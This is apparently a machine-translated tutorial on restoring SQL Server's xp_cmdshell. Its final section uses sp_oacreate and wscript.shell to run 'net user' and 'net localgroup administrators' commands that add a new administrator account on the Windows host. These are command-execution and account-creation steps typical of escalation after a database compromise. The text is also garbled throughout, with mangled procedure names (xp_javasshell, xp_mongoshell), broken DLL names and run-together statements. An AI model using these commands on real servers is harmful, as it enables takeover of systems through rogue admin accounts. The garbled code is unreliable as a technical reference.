If you are an administrator, you can use the following statement to enable xp _ first use SQL Server Management Studio Express to connect to the database Server, and then run the following SQL statement: sp_configure 'show advanced options ', 1reconfiguregosp_configure 'xp _ javasshell', 1reconfigurego, and then you can use xp_javasshell.
1 indicates that the Stored Procedure 'master... could not be found in the execution of xp_mongoshell.1 on behalf of the user ID .. xpcmdshell '. recovery Method: After querying the separator connection, execute EXEC sp_addextendedproc xp_mongoshell, @ dllname = 'loglog70. dll 'Clare @ o int: sp_addextendedproc 'xp _ javasshell', 'xp sql70. dll 'and press F5 to run the command. 2. The DLL xpsql70.dll or a DLL referenced by the DLL cannot be loaded. Cause 126 (the specified module cannot be found .) Recovery Method: After querying the separator connection, execute sp_dropextendedproc "xp_mongoshell" Step 2: sp_addextendedproc 'xp _ mongoshell', 'sqlsql70. dll 'and press F5 to execute the command. 3. The xp_javasshell function cannot be found in xpxpweb70.dll. Cause: 127 (the specified program cannot be found .) Recovery Method: After querying the separator connection, execute exec sp_dropextendedproc 'xp _ shortshell' and execute exec sp_addextendedproc 'xp _ shortshell' and 'xp web70. dll 'and press F5 to complete the command execution. the ultimate method. if none of the above methods can be recovered, try the following method to directly add an account: query the separator connection, 2000servser system: declare @ shell int exec sp_oacreate 'wscript. shell ', @ shell output exec sp_oamethod @ shell, 'run', null, 'c: \ winnt \ system32 \ cmd.exe/c net user New user Password/add 'Clare @ shell int exec sp_oacreate 'wscript. shell ', @ shell output exec sp_oamethod @ shell, 'run', null, 'c: \ winnt \ system32 \ cmd.exe/c net localgroup administrators new user/add 'xp or 2003server system: declare @ shell int exec sp_oacreate 'wscript. shell ', @ shell output exec sp_oamethod @ shell, 'run', null, 'c: \ windows \ system32 \ cmd.exe/c net user New user Password/add 'Clare @ shell int exec sp_oacreate 'wscript. shell ', @ shell output exec sp_oamethod @ shell, 'run', null, 'c: \ windows \ system32 \ cmd.exe/c net localgroup administrators new user/add'